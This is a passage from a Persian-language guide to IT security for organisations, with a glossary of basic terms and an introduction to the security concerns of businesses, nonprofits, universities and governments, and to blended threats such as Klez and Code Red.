تـوان از وقـوع ايـن مـسئله           انتقال اطلاعات به آن مي    

  .جلوگيري كرد

  ١٦٧قت هويتسر

افتــد كــه شــخص  ســرقت هويــت زمــاني اتفــاق مــي
آوري كـرده باشـد و        اطلاعات كافي در مورد شما جمع     

مثلاً در (با آن اطلاعات بتواند خود را بجاي شما جا بزند        
  ).بانكها، فروشگاهها، يا سازمانهاي دولتي

  ١٦٨ضميمه

ضميمه قسمتي از نامة الكترونيكي است كه با اسـتفاده     
ان انواع فايلها مثل فايلهاي مـتن و تـصوير       تواز آن مي  

تمامي فايلهاي غير متني براي ارسال بايد . را انتقال داد
تمامي آنچه كه در    . درآيند) سادهمتن(بصورت قابل چاپ    

بـه  .  اسـت ۱ و ۰شود تركيبي از ارقـام      رايانه ذخيره مي  
ها را با تبديل    تر كدگذاري اين صفرها و يك     زبان ساده 
  .كند ده، قابل ارسال ميبه متون سا

  ١٦٩نام كاربري و رمز عبور

نام كاربري و رمز عبور محرمانه كه كاربر را براي يـك       
اي و يا پايگـاه وب شناسـايي و تـصديق             سيستم رايانه 
  .كندهويت مي

  ١٧٠بازافزارهاي متننرم

افزارهايي كه متن برنامة آنها در اختيار عموم اسـت          نرم
آنهـا را اصـلاح كننـد و تغييـر          توانند آزادانه     و همه مي  

در دسـترس بـودن مـتن برنامـه، افـراد           به دليل   . دهند
توانند نحوة عملكرد آنرا ببيننـد و بـه دلخـواه خـود               مي

باز ساير  هاي متن   معمولاً نويسندگان برنامه  . تغيير دهند 
نويــسان را تــشويق بــه مــشاركت در توســعه و  برنامــه

هـاي    برنامه. ايندنم  ها مي   گسترش قابليتهاي اين برنامه   
افزارهـاي رايگـان هـم        بـاز همچنـين شـامل نـرم       متن
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 چـه آنهـايي   -هاي متن باز هستند، و بسياري از برنامه   
كه رايگـان هـستند و چـه آنهـايي كـه بـراي فـروش                

افزارهـاي   قابليتهايي دارند كـه مـشابه نـرم        -باشند   مي
انحصاري است و ممكن اسـت هزينـة بـالايي داشـته            

ــد ــاهي او. باش ــهگ ــات برنام ــتن ق ــاي م ــاز تحــت ه ب
ها و مجوزهاي خاص بصورت غير رايگان در         موافقتنامه

  . شوندهاي تجاري استفاده ميقسمتهايي از برنامه

توانيـد بـه    براي اطلاعـات بيـشتر در ايـن زمينـه مـي           
  :پايگاههاي زير مراجعه نماييد

http://www.fsf.org 
http://www.opensource.org 

  ١٧١نسخة پشتيبان

برداري از فايلهاي يك رايانه به محلهـاي        فرآيند نسخه 
ديگر در همان رايانه و يـا روي ابزارهـاي جـانبي كـه              

هـاي    نـسخه . ممكن است مستقل از آن رايانـه باشـند        
هـايي كـه بـه هـر          شوند بتوانيد داده  پشتيبان باعث مي  
اند، آسـيب   مثلاً بطور تصادفي پاك شده    (اند    دليلي از بين رفته   

را بازيـابي   ) انـد اند، و يا مورد سـرقت قـرار گرفتـه         يدهفيزيكي د 
 .نماييد

  ١٧٢هرزنامه

هاي الكترونيكي كه بـدون اينكـه         تبليغات و ديگر نامه   
 .شوند شما خواسته باشيد براي شما ارسال مي

  ١٧٣ويروس

معناي خاصي دارد كه در بخـشهاي       " ويروس"اصطلاح  
ل درحـا . گيـرد   آتي بيشتر مورد بحث و بررسي قرار مي       
هـايي اطـلاق      حاضر ويروس به مجموعة همـة برنامـه       

شـوند و ممكـن    گردد كه در رايانة شـما ظـاهر مـي      مي
هاي ديگر نيـز سـرايت كننـد و بـه آنهـا         است به رايانه  

  .آسيبهاي جدي وارد نمايند
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١١٧  

ش
بخ

 
وم
د

  

Cookie   

فايلي است كه هنگام درخواست يك پايگـاه وب از راه           
ن خوانده  دور، روي ديسك سخت نوشته و يا از روي آ         

كنـد كـه فايـل روي          مي  پايگاه وب درخواست  . شود  مي
رايانة مورد نظر نوشته شود تـا بعـدها هـم بتوانـد آنـرا               

مــثلاً اگــر پايگــاه وبــي از شــما نــام كــاربري . بخوانــد
تواند اين اطلاعـات را روي ديـسك          درخواست كند مي  

هنگاميكه شما مجدداً بـه آن پايگـاه        . شما ذخيره نمايد  
خواند    قبلي را مي   cookieكنيد، اين پايگاه      مراجعه مي 
  .شود كه نام كاربري شما چه بوده است و متوجه مي

Daemon   

برنامة كوچكي كه روي رايانة شما هميشه درحال اجرا         
ماند تا از آن بخواهيد كاري را بـراي           است و منتظر مي   

چنين درخواستي معمولاً از طريق يك      . شما انجام دهد  
  .شود كاربر راه دور انجام ميشبكه و بوسيلة

HTML   

HTML   ــارت ــراي عبـ ــصاري بـ ــة اختـ ــك كلمـ    يـ
Hyper Text Markup Language ايـن  .  اسـت

زبان مجموعه دستورالعملهايي است كه مرورگر وب يـا     
توانند   هاي پست الكترونيكي با استفاده از آنها مي       برنامه

متون و تصاوير را نمايش دهند و يا عمليات ديگري به           
اي از دسـتورالعملهاي ايـن زبـان          نمونـه . انجام رسانند 
  :چنين است

This sentence is <<Start Bold>> very 
<<End Bold>> short. 

ــت     ــل علام ــات داخ ــوق كلم ــلات ف  <<>>در جم
در نتيجـة   . نشاندهندة عملي است كه بايد انجـام شـود        

اي به شكل زير بـه نمـايش        دستورالعملهاي فوق جمله  
  :آيددر مي

This sentence is very short. 

URL١٧٤  

يك آدرس عمـومي بـراي اشـاره بـه يـك مقـصد در               
 /http://www.infodev.orgبعنوان مثـال    . اينترنت

  mailto: info@worldbank.orgيا 
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  امنيت فناوري اطلاعات
  و سازمانها

  مقدمه  . ۱فصل   
  كيمروري بر روشهاي كاهش آثار مخاطرات امنيت الكتروني  . ۲فصل   
   و تحليل زيانبرآورد مخاطره  . ۳فصل   
  ريزي براي نيازهاي امنيتي برنامه  . ۴فصل   
  پيشگيري و سياست امنيت سازماني  . ۵فصل   
  امنيت كاركنان  . ۶فصل   
  برونسپاري امنيت  . ۷فصل   
  هاي دولتي نامه نويسي، و تدوين آئين هاي حريم خصوصي، قانونسياست  . ۸فصل   
  اي يانهجرائم را  . ۹فصل   
  سيم خدمات مالي الكترونيكي در محيط بي: مديريت مخاطرات سيار  . ۱۰فصل   
  ايجاد فرهنگ امنيت: الگوهاي سرآمدي  . ۱۱فصل   
  قواعد ايمني تجارت الكترونيكي براي همه كاربران و شركتها  . ۱۲فصل   
  المللي پيرامون موضوع امنيتگفتگوهاي بين  . ۱۳فصل   
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  فصل اول
  مقدمه

تواننـد  نطور كه در بخش دوم مشاهده كرديم كاربران مي        هما
شـده در آن    هاي ذخيره هاي خود و داده   براي حفاظت از رايانه   

در سـازمانهاي كوچـك ممكـن       . كارهاي زيادي انجام دهنـد    
است شرايط تأمين امنيت سـاده باشـد و هـركس مـسئوليت              

ل بـا اينحـا   . ها و فايلهاي خود را بر عهده داشـته باشـد          رايانه
تراكنـشهاي  براي گروههاي بزرگتر مثل سـازمانهايي كـه بـا           

هاي محرمانة    سر و كار دارند يا گروههايي كه از داده         ١تجاري
كننـد، نيـاز بـه ايجـاد        شهروندان يا مشتريان نگهـداري مـي      

. كنـد سياستها و روالهاي رسمي امنيتي بيشتر اهميت پيدا مي        
ــت ف   ــدان موضــوع امني ــديران و كارمن ــه م ــاوري هنگاميك ن

 چه در شركتهاي تجاري،     -دهند  اطلاعات را مد نظر قرار مي     
 -چه در سازمانهاي غيرانتفاعي، و چـه در مؤسـسات دولتـي             

هر گـروه بـراي     . همواره با مسائل مشابهي مواجه خواهند بود      
هاي خود نياز به سطح معيني از امنيت و روالهاي شـفاف            داده

نان، توانـايي ايجـاد و      اجرا درآمدن توسط كارك   و ساده براي به   
حفــظ آگــاهي از نيازهــاي مــشتريان، و دركــي از چگــونگي  

. سازي سياستهاي امنيتي در يـك محـيط عمليـاتي دارد           پياده
علاوه بر اين نيازهاي كلي، هر دسته از سـازمانها ملاحظـات            

مـديران  . خاص مربوط به اهداف و مأموريت خود را نيز دارند         
بايـد بـر سياسـتهاي امنيـت        شـده   براي نيل به اهداف تعيـين     

هـاي  همچنين درك هزينه. اطلاعات توجه مؤكد داشته باشند   
سازي سياستهاي امنيتيِ كارآ از اهميت زيادي برخـوردار         پياده
گـذاري بـه    فناوريها و روالهاي امنيتـي نـوعي سـرمايه        . است

هاي ضايعات محتمـل    آيند و بايد با توجه به هزينه      حساب مي 
هاي عملـي بخـش سـوم بـا          توصيه. گيرندمورد ارزيابي قرار    

 كه در يـك محـيط بـا منـابع           -دركي از تحليل سود و زيان       
  . ارائه شده است-محدود بسيار ضروري است 
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  بعضي شاخصهاي آماري
  امنيت فناوري اطلاعات در سازمانها

 در سـال    ٢ارنـست و يانـگ    تحقيق جهاني امنيـت اطلاعـات       
تقدنــد امنيــت ســازمانها مع% ۹۰دهــد كــه  نــشان مــي۲۰۰۳

شـان بـسيار حـائز    اطلاعات براي دستيابي آنها به اهداف كلي   
از ســازمانها عنــوان كردنــد كــه اولــين % ۷۸. اهميــت اســت

هدفـشان از تــلاش بـراي تــأمين امنيـت اطلاعــات كــاهش    
 شـركت   ۱۰۰۰ايـن سـازمانها شـامل       . باشـد  مـي  ٣مخاطرات

 بـا   شدند كه بخشي از منابع خود را بـراي مبـارزه          ثروتمند مي 
  :در ادامة اين تحقيق. مسائل امنيتي اختصاص داده بودند

كننـد كـه قـدرت    از سازمانها اظهـار مـي   % ۳۴بيش از    •
كافي براي تشخيص اينكه آيا سيستمهايـشان درحـال         

  .حاضر مورد حمله قرار دارند يا خير را ندارند

ــيش از  • ــي% ۳۳ب ــار م ــه  اظه ــايي ارائ ــه توان ــد ك كنن
به رخدادهاي امنيتي را    العمل مناسب در واكنش      عكس
 .ندارند

كننـد كـه حاضـر بـه      از سـازمانها ادعـا مـي      % ۳۴تنها   •
 .باشنداطاعت از ضوابط امنيتيِ قابل اجرا مي

سازمانها بودجة ناكافي را مانع اصلي تأمين مـؤثر         % ۵۶ •
 .دانندامنيت اطلاعات مي

كننـد كـه بازگـشت      از سازمانها اظهار مـي    % ۶۰حدود   •
ت اطلاعــاتي بنــدرت محاســبه ســرمايه را بــراي امنيــ

 .كنندكنند يا هرگز محاسبه نمي مي

ســازمانها آمــوزش و آگــاهي كارمنــدان را % ۲۹تنهــا  •
گذاري براي امنيت   بعنوان قسمتي كه بيشترين سرمايه    

كنند؛ در مقابـلِ    اند ذكر مي  اطلاعات را روي آن داشته    
گـذاري  كه از فناوري بعنوان اولويت اول سـرمايه       % ۸۳

 .برندأمين امنيت اطلاعات نام ميخود در ت

كنند كه براي كاركنان    از سازمانها اظهار مي   % ۳۵تنها   •
 .رساني و آموزشي دارندهاي پيوستة اطلاعبرنامه

 چـه   -اين آمارها حاكي از ايـن هـستند كـه همـة سـازمانها               
 فـشارهاي مـالي و روانـي تهديـدهاي          -كوچك و چه بزرگ     

فصلهاي آتـي ايـن     . كنندامنيت فناوري اطلاعات را حس مي     
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 راهنماي امنيت فناوري اطلاعات ١٢٢

بخش به اولويتها و نگرانيهاي سازمانهاي كوچـك و متوسـط           
در عين حال به ياد داشتن نتايج تحقيق ارنـست و           . پردازندمي

يانگ بعنوان يـك نمـاد از چالـشهايي كـه تعـدادي از ادارات             
  .آيداند بنظر مفيد ميتجاري با آنها مواجه شده

  تجارتهاي كوچك و متوسط
 ٤ مـشغول هـستيد    تجارتهـاي كوچـك و متوسـط      به  اگر شما   

اولويتهــاي اصــلي شــما قابليــت ســودآوري، تــداوم تجــارت، 
سازمانهاي . پايداري، و كيفيت ارائه خدمات به مشتري هستند       
اي، يـا ملـي     كوچك و متوسط بوسيلة قـوانين محلـي، ناحيـه         

پردازنـد و   اند و بسته به نوع تجارتي كه به آن مي         محدود شده 
كننـد، ممكـن    ري كشوري كه در آن فعاليـت مـي        محيط تجا 

در ايـن  . است لازم باشد در مقابل چند مركز پاسـخگو باشـند       
ســازمانها رونــد برقــراري امنيــت بــه حفاظــت از ســازمان و  
مشتريانش در مقابل فريب و حملات اساسي و پرهزينه عليـه           

عـلاوه بـر جـرم      . خدمات و سيـستمها متمركـز خواهـد بـود         
ــه ــ رايان ــبكه، حفاظــت از دادهاي و امني ــراي  ت ش ــز ب ــا ني ه

سازمانهاي كوچك و متوسط حائز اهميت است و به دو حوزة           
هاي سازماني در مقابـل     حفاظت از داده  : شوداصلي تقسيم مي  

هـاي  جاسوسها يـا مهـاجمين سـازمانيافته، و حفاظـت از داده           
  ٥.مشتري مثل كارت اعتباري و تراكنشهاي مالي

                                                                  
تعريف سازمانهاي كوچك و متوسـط از كـشوري بـه كـشور ديگـر                  ۴

هـاي  در بعضي موارد، يك مالك بتنهايي همـة جنبـه    . متفاوت است 
-داري يا خواربار فروشي را انجام مـي  يك تجارت سنتي مثل مزرعه    

در تجارتهـاي   . باشـد  مالك تنها كارمند آن تجـارت مـي        دهد؛ يعني 
كننده تر ممكن است چند صد نفر تنها به محصولات مصرف         پيچيده

يافته، شركتهايي كه بـا     در دنياي توسعه  . يا محصولات فني بپردازند   
كنند در گروه سازمانهاي كوچك  تكيه به فناوري كار خود را آغاز مي   

-ممكن است توسط گروههاي سـرمايه     گيرند، اما   و متوسط قرار مي   
گذاري شـود، بـسرعت بـزرگ شـوند، و يـا         گذاري روي آنها سرمايه   

بعضي از سازمانهاي كوچك    . توسط شركتهاي بزرگ خريداري شوند    
كننـد و خودشـان بـه        و متوسط بسيار موفق، اوراق سهام منتشر مي       

  .شوندشركتهاي بزرگ و عمومي تبديل مي
ــا   ۵ ــي جاسوســي س ــت كل ــا  در حال ــزرگ ي ــركتهاي ب زمانيافته در ش

 -كننـد   شركتهايي كه محصولات مبتني بر فناوري جديد توليد مـي         
جايي كه در آن نوآوري ارزش زيادي دارد و ممكـن اسـت دزديـده               

بـراي سـازمانهايي كـه بـه        . شـود  يك نگراني محسوب مـي     -شود  
تري از جاسوسـي اسـت،      سمع نگراني جدي  تجارت مشغولند، استراق  

بطور خاص هر شركت بايـد سـوابق        . ثار هر دو مشابه است    هرچند آ 
حــسابداري، اطلاعــات كاركنــان، و اطلاعــات تراكنــشهاي كــارت  

 .اعتباري خود را از دستيابي غيرمجاز محافظت كند

  سازمانهاي غيرانتفاعي
 سازمانهاي غيرانتفاعي مديران و كارمندان به تأثيرگـذاري         در

روي بازار، همكاري با جوامع و شـركتهاي همكـار، و بدسـت             
سيـستمها ممكـن اسـت هزينـة        . آوردن شهرت تأكيـد دارنـد     

زيادي به خود اختصاص دهند و معمولاً بدليل محـدوديتهاي          
ر بودجه در مؤسسات غيرانتفاعي از كيفيت پـايينتري برخـوردا         

بعلاوه معمـولاً كارمنـدان تجربـة كمتـري نـسبت بـه             . باشند
خواهند خـدمات مـداوم بـه       كارهاي فني دارند و لذا وقتي مي      

مشتريان ارائه كننـد و بـراي اهداكننـدگان كمكهـاي مـالي،             
ناظرين، و مؤسسات همكار خود يك وجهة مثبت از وضـعيت           
و فعاليت مؤسسه به تصوير بكشند ممكن است با مـشكلاتي           

  .مواجه شوند

  دانشگاهها
همانند سازمانهاي غيرانتفاعي، در سيستمهاي دانشگاهي نيـز        

بـر، و   هاي هزينـه  اي، شبكه مسائلي چون محدوديتهاي بودجه   
دانشگاهها ممكن  . دامنة وسيعي از مهارتهاي فني وجود دارند      

است با يكسري تهديدات داخلـي روبـرو باشـند؛ خـصوصاً در             
ان براي پر كردن اوقات فراغت خـود        حالتي كه مثلاً دانشجوي   

عـلاوه بـر    ! بخواهند به سيستم تأسيسات دانشگاه نفوذ كننـد       
اين دانشگاهها ممكن است تحت سياسـتهاي واحـدي عمـل           

در . كنند و همچنين ملزم بـه اجـراي مقـررات دولتـي باشـند             
هـاي شخـصي بـسيار حـائز        محيط دانـشگاه حفاظـت از داده      
نـشجويان حـاوي اطلاعـات      اهميت است، چراكه فايلهـاي دا     

هاي شناسايي، سوابق پزشـكي و اسـناد        مهمي از قبيل شماره   
هـايي را   توانند چنـين داده   مهاجمين بالقوه مي  . آموزشي است 

بدزدند، تغيير دهند، يا از بـين ببرنـد؛ و بـا اينكـار بـه اعتبـار                  
  .دانشگاه آسيب جدي وارد نمايند

  سازمانهاي دولتي
اوري اطلاعات در سـازمانهاي دولتـي       سازي و استقرار فن   پياده

ممكن است بر اسـاس كـارآيي، سـهولت اسـتفاده، و قابليـت              
برقراري ارتباط با ساير بخشها و سازمانها مورد بررسـي قـرار            

از آنجــا كــه بطــور كلــي در بافتهــاي دولتــي مــسئله . گيــرد
ســودآوري مطــرح نيــست، در اينجــا نيــز مــشابه مؤســسات  

شـود  ل وجـود دارد و باعـث مـي        غيرانتفاعي روي بودجه كنتر   
ــخت     ــدترين س ــة جدي ــازمان در تهي ــايي س ــا و توان افزاره
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همزمـان دولتهـا بايـد بـر        . افزارهاي امنيتي محدود شـود     نرم
هايـشان   ها نيز تمركز كنند، چراكه پايگـاه داده       حفاظت از داده  

حاوي اطلاعات حساسي در مـورد افـراد اسـت؛ اطلاعـاتي از             
  .بق پزشكي، جنايي، و مالياتيقبيل اطلاعات فردي و سوا

متأسفانه حتي در سازمانهاي دولتـي كـشورهاي صـنعتي نيـز      
ها دچار مشكل اسـت و از سيـستمهاي منـسوخ،           حفاظت داده 

اي كه فاقد گذاريهاي نامناسب و كارمندان از كار افتاده      سرمايه
شايستگيهاي لازم در بعد امنيت فناوري اطلاعات هستند رنج         

شـركتهاي تجـاري و مؤسـسات غيرانتفـاعي،         همانند  . بردمي
دولت نيز بايد به تصوير عمـومي ايجادشـده از خـود پـس از               

اي شدن هر نفوذ يا رخداد ديگر امنيتي اهميت         خبري و رسانه  
  .دهد

  سازمانهاي كوچك و متوسط؛
  موتورهاي رشد و ترقي

UNDPفنـاوري   در گزارش اخيـر خـود در مـورد وضـعيت             ٦
حال توسعه به طـرح كلـي بعـضي          در كشورهاي در   اطلاعات

چالشهايي كه افراد و سازمانها در عصر اطلاعات با آن مواجه           
 بانك جهاني چند سري گزارش در رابطه بـا          ٧.هستند پرداخت 

 اگرچـه   ٨.توسعه و استقرار فناوري اطلاعات تهيه كرده اسـت        
تجربيات فني سـازمانها در جهـان صـنعتي از بعـضي جهـات              

، اما از )ها، و پايگاه اطلاعات كاركنـان    هزينهمقياس،  (متفاوت هستند   
 فنـاوري اطلاعـات   نقاط قدرت و ضعف آنها در حوزة امنيـت          

تعداد مؤسسات بزرگ كمتر    . توان درسهاي بسياري گرفت    مي
است و هركدام از قابليتهـاي ويـژه و منـابع مـالي وسـيعتري               

به هرحال هنوز ميان مديران ارشد امنيتي بعنـوان        . برخوردارند
ــس ــوان    م ــالي بعن ــد م ــديران ارش ــارج، م ــز مخ ئولان مراك
مديران ارشد  (هاي ديگر سازمان    كنندگان هزينه، و شاخه    كنترل

 ٩.تنـشهايي وجـود دارد    ) اطلاعات، فروش و بازاريابي، و محـصولات      

                                                                  
6  United Nations Development Program 

  :۲۰۰۱رجوع كنيد به گزارش توسعة انساني سال    ۷
"Making New Technologies Work for Human 
Development" (UNDP: NY, 2001) 

هـاي  توانيد به پايگاه بانك جهاني و همچنين پـروژه        براي مشاهدة منابع مي       ۸
) ITGI(تحقيقاتي و نتايج موجـود در مؤسـسة راهبـري فنـاوري اطلاعـات         

  :مراجعه كنيد
http://www.worldbank.com 
http://www.itgi.org 

ريـزي  كـاري كـه برنامـه     رگتر يا شركتهاي تازه   در شركتهاي فني بز       ۹
اند كه بسرعت رشد كنند، تيم مديريت از افرادي تشكيل شـده            كرده

فنـاوري  بدون برنامة كلي براي ايجاد يك محيط امـن بـراي         
ي ، هر قسمت ممكن است يك راهكار براي برقـرار         اطلاعات

امنيت توسعه دهد كه از مأموريتها، اهداف، و مقاصد عمليـاتي   
همان قسمت ناشي شده و ممكن است به همـان انـدازه كـه              
براي يك قسمت مناسب است براي قسمتهاي ديگر چنـدان          

اين راهكارهاي مختلف ممكن است باعث شوند       . به كار نيايد  
از حـد  ها بيش از حد مورد نياز يا كمتـر  امنيت در بعضي حوزه  

مورد نياز تأمين شده باشد؛ درحاليكه وجـود نظـارت از طـرف             
مديريت سطوح بالا تضمين خواهد كرد كـه تجـارب امنيتـي            

شوند كه مجموعة سازمان بتواند عملكـرد       اي تنظيم مي  بگونه
سازيهاي فني كـه جهـت      سياستها و پياده  . بهتري داشته باشد  

مان لازم انــدازي يــك سيــستم امنيتــيِ كــارآ بــراي ســاز  راه
باشند يك بخـش ضـروري و اساسـي اهـداف تجـاري را               مي

  .دهند كه در هر سازمان بايد به آن بها دادتشكيل مي

انـدازي،  سازمانهاي كوچك و متوسط منابع كمتري بـراي راه        
تري براي مديريت، و اعتماد بيشتري به پايگاه        ساختار مسطح 

ســت در ايــن ســازمانها ممكــن ا. اطلاعــات كاركنــان دارنــد
فرآيندهاي تجاري از فرآيندهاي سـازمانهاي بـزرگ، شـفافتر          
ــذا در چنــين ســاختاري كــه در آن ايــن مقــدار از   باشــند و ل
اطلاعــات شــركت بــراي همــة كاركنــان در دســترس اســت 

در سـازمانهايي كـه     . خطرات امنيتيِ ذاتي وجود خواهد داشت     
به فناوري توجه خاص ندارند ممكن است سازمان نـسبت بـه           

رمند يا مشاور كه از نظر فني قويتر از مديران شـركت            يك كا 
در يك شركت كه در لبـة       . پذيريهايي داشته باشد   است آسيب 

كنـد ايـن خطـر وجـود دارد كـه مالكيـت             فناوري فعاليت مي  
نوآوريها و منابع حياتي آن به اندازة كافي از سرقت يا تخريب            

  .مورد محافظت قرار نداشته باشد

 مـشكلات، همـة سـازمانهاي كوچـك و     براي مقابله بـا ايـن   
متوسط بايد مروري كامل بر مأموريتها، اهداف، صـلاحيتها و           

                                                                  
اين نقشها  . كه هر يك در يك حوزة تجاري يا فني متخصص است          

مـدير ارشـد اجرايـي      ): شـوند ولي به آنها محدود نمي    (عبارتند از موارد زير     
)CEO( مــدير ارشــد امــور مــالي ،)CFO( ، مــدير ارشــد فنــاوري
)CTO(     مدير ارشد اطلاعات ،)CIO(       و بتازگي مدير ارشد امنيـت ،
)CSO .(         همچنين در يك سازمان معمولي يك سلسله موقعيتهـاي

مقام بازاريابي، فـروش، و توسـعة       مقامي وجود دارد از قبيل قائم     قائم
از آنجا كه استفاده از ايـن سـاختار رسـمي در سـازمانهاي              . بازرگاني
، مـشاهدة چگـونگي     )يا امكان آن ميـسر نيـست      (تر ضرورتي ندارد    كوچك

تقسيم مسئوليتها در شركتهاي بزرگ و توجـه بـه افـزايش اهميـت              
CSO تواند بسيار مفيد باشدمي.  
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هـايي  اگـر در حـوزه    . سيستمهاي اطلاعاتي خود داشته باشند    
كنند كه ممكـن اسـت بـراي ديگـران مخـاطرات            فعاليت مي 

 مـثلاً حـوزة فناوريهـاي درحـال         -امنيتي در بر داشته باشـد       
ي محتمل عليه امنيت مشتريان خود را        بايد تهديدها  -توسعه  
بيني كنند و طرحهايي براي كـاهش تـأثير آنهـا تـدوين             پيش
كنند كه به هر نحو به امنيت       هايي كار مي  اگر در حوزه  . نمايند

 مثـل ارائـه محـصولات و خـدمات          -شـود   دولت مربوط مـي   
 بايد متوجه باشند كـه در چـه زمـاني و            -ارتباطات مخابراتي   

ت قانوني پايبندي به احكـام دولتـي بـر عهـدة           چگونه مسئولي 
اي  نمونـه  ١٠)ISP (كنندة سرويس اينترنـت   ارائهيك  . آنهاست

بـا  . است از شركتهايي كه با هر دو نوع مخاطره مواجه اسـت           
ها و تجهيـزات مـشتري    اتصال مشتري به اينترنت، براي داده     

آيد، و با فراهم كـردن محتويـات        مخاطرات امنيتي بوجود مي   
 در معرض احكـام و مقـررات        ISPتالي و ابزار ارتباطي،     ديجي

اگر كسي قابليت تجارت الكترونيكي را      . گيردكشوري قرار مي  
نيز به اين خدمات بيافزايد، تهديدات بالقوه و كسب اطمينـان           
از پايبندي به تعهدات، تبديل بـه مـشكلاتي بـسيار عظـيم و              

  .شوند اساسي مي

  خطرهاي تهديدات چندگانه
اي آمـاريِ چنـد منبـع موثـق، يـك رونـد صـعودي در                هداده

هاي آلوده براي دستيابي به اهداف جنـايي را         استفاده از برنامه  
 گزارشـات متعـددي بـه چنـين         ۲۰۰۲در سال   . دهدنشان مي 

سـرقت هويـت بـا اسـتفاده از برنامـة           : موضوعاتي مربوط بود  
هـاي سياسـي،    آلوده، تغيير شكل پايگاههـاي وب بـا انگيـزه         

 عليـه اهـداف     ١١)DDoS (شدة تخريب سرويس   توزيع حملات
  .شدة سازماني، و موارد مشابه ديگرتعيين

 در اينترنـت بـراي      ١٢تهديـدات چنـدوجهي   بعلاوه، گستردگي   
اين مخاطرات به حـوزة     . آوردهمه مخاطرات جدي بوجود مي    

. كننـد خاصي تعلق ندارند ولي تمام شبكة جهاني را تهديد مي         
ــراي مثــال كــرم      ا خــصوصياتي بــه نگــارش    بــKlezب

درآمده كه بر اساس آن صاحبنظران معتقدند يا در چـين و يـا            
درحـال حاضـر كـشورهاي      . كنگ نوشته شده اسـت    در هنگ 

هـاي متـصل بـه اينترنـت        اي از رايانـه   آسيايي بطور فزاينـده   
هـا  متأسـفانه بـسياري از ايـن رايانـه        . كننـد برداري مـي   بهره

                                                                  
10  Internet Service Provider 
11  Distributed Denial of Service Attack 
12  Blended Threats 

نيـز از اصـول اوليـة اسـتفادة     حفاظ هستند و كاربران آنهـا       بي
رود مناطقي كه   درنتيجه احتمال مي  . ها ناآگاهند ايمن از رايانه  

شـدن   با پراكنده  - مثل چين    -از رشد فني بالايي برخوردارند      
ــه    ــدوجهي ك ــدهاي چن ــا، و تهدي ــا، تراواه ــها، كرمه ويروس

اي از همة اين عوامل هستند مـورد حملـة مهـاجمين             آميخته
  .بگيرندسراسر جهان قرار 

افزاري حال حاضر يـك طيـف از حفاظتهـا را در      ابزارهاي نرم 
كنند، اما از دفاع كامل در مقابـل        مقابل برنامة آلوده ايجاد مي    

اسـتفاده از يـك طـرح       . همة اَشكال حملات، نـاتوان هـستند      
دفاعي چندلايه، هم از لحـاظ فنـي و هـم از لحـاظ انـساني                

برنامـة آلـوده را بـه       مخاطرة بروز رخدادهاي امنيتـي بوسـيلة        
. بـرد  هرچند باز هم آنرا از بـين نمـي         -دهد  شدت كاهش مي  

، Code Red ،Slammer ،Klezتهديدات چندوجهي مثل 
اي را مــورد آزار هـاي رايانـه  تواننـد شــبكه  مـي Bugbearو 

بسياري از كرمها به خوديِ خود آثار مخرب        . دائمي قرار دهند  
كننـد كـه  باعـث       مـي ندارند اما در سيـستم دامهـايي نـصب          

شود دسترسي افرادي كه با آن دامها آشنا هستند به شبكه            مي
  .سريع و آسان گردد

جداي از اين مطلب، كرمها از بعضي جهات در نـاتوان كـردن    
پذيريهاي موجود  سيستمها مؤثرتر هستند؛ چراكه قادرند آسيب     

 را مــورد - مثــل مرورگرهــاي وب -افزارهــاي رايــج در نــرم
  .ري قرار دهندبردا بهره

اي كه چنين خـصوصياتي در آنهـا وجـود          در محيطهاي رايانه  
دارد، كاربران بايد در مورد مخـاطرات موجـود و نحـوة بـروز              
واكنش مناسـب در موقعيتهـاي انفـرادي، اطلاعـات خـود را             

هنگاميكه استفادة ايمن از رايانه تمـرين شـود،         . افزايش دهند 
قابـل تـوجهي كـاهش      تواند به ميزان    مخاطرة يك حمله مي   

توان آنرا به صـفر     شود كه هرگز نمي   يابد، اما مجدداً تأكيد مي    
از آنجا كه تهديـد خرابكـاري عمـدي در سيـستمهاي            . رساند
اي براي سازمانها بسيار زياد اسـت، بررسـي مخـاطرات           رايانه

ــد     ــشهاي جدي ــالي و چال ــشهاي م ــرادي و تراكن ــت انف امني
سيم بسيار حـائز اهميـت       بي ايِبوجودآمده در بسترهاي رايانه   

  .است
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  مزاياي فناوري اطلاعات و مديريت آن
عليرغم چالشهاي موجـود، مـديران و كارآفرينـان بخـشهاي           
دولتــي و خــصوصي در كــشورهاي درحــال توســعه بــه      

گذاري روي فناوري نوين اطلاعات و ارتباطات شـامل          سرمايه
فزارهـاي  اسيم، و نرم  پست الكترونيكي، اينترنت، ارتباطات بي    

تجاري مشغولند تا به انجام كارهاي روزمرة خود كمك كـرده       
مزاياي مختلف استفاده از ايـن محـصولات و خـدمات           . باشند
 واضـح   -هـا     جـويي در هزينـه     مثل كارآيي و صـرفه     -جديد  
  :هستند

ها و شـركتهاي    ارتباطات تجاري با مشتريان، فروشنده     .۱
 كند؛همكار بهبود پيدا مي

 به حجم زياد اطلاعات با سرعت زياد        توانايي دسترسي  .۲
 شود؛و بصورت ارزانقيمت تقويت مي

هـا و  اي براي توسعة قابليتهـاي حفاظـت از داده       وسيله .۳
گردد كه منجر به نگهداري بهتر از       مديريتي فراهم مي  

اقلام داده بـراي مـديران مـالي، تحليـل بهتـر رفتـار              
ار مشتري براي مديران بازاريابي و فروش، و ارائـه آم ـ         

  .شوددقيقتر براي مديران خط توليد مي

به هرحال همانطور كه مشاهده كرديم اين اصـلاحات بـدون           
هاي فيزيكي  مخاطره نيستند و اين مسئله چه در مورد سرمايه        

آينـد صـدق    هايي كه كمتر به چشم مي     و چه در مورد سرمايه    
فنـاوري  در ايـن بخـش، نگرانيهـاي حـوزة امنيـت            . كنـد مي

ركتهاي بـزرگ و كوچـك و در كـشورهاي           كـه ش ـ   اطلاعات
شـوند مـورد   يافته و درحـال توسـعه بـا آن مواجـه مـي        توسعه

قسمتهاي مختلف اين بخـش بـا توجـه         . گيردبررسي قرار مي  
خاص به كارهايي كه بايد بوسيلة دوايـر اجرايـي، مـديران، و             
كاركنان براي حفاظت از سيستمها، مـشتريان، فروشـندگان و          

. در شركت انجام شوند طراحـي شـده اسـت       ديگر افراد ذينفع    
ــرل  ــتهاي كنت ــتهاي روال و ١٣فهرس ــديادداش ــي ١٤من  براحت

توانند توسط يـك سـازمان دولتـي يـا غيرانتفـاعي مـورد               مي
  .استفاده قرار بگيرند

علاوه بر روالها و سياسـتهاي داخلـي، بعـضي از سـازمانهاي             
كوچك و متوسط ممكن است تصميم بگيرند تأمين نيازهـاي          

                                                                  
13  Checklist 
14  Procedural Notes 

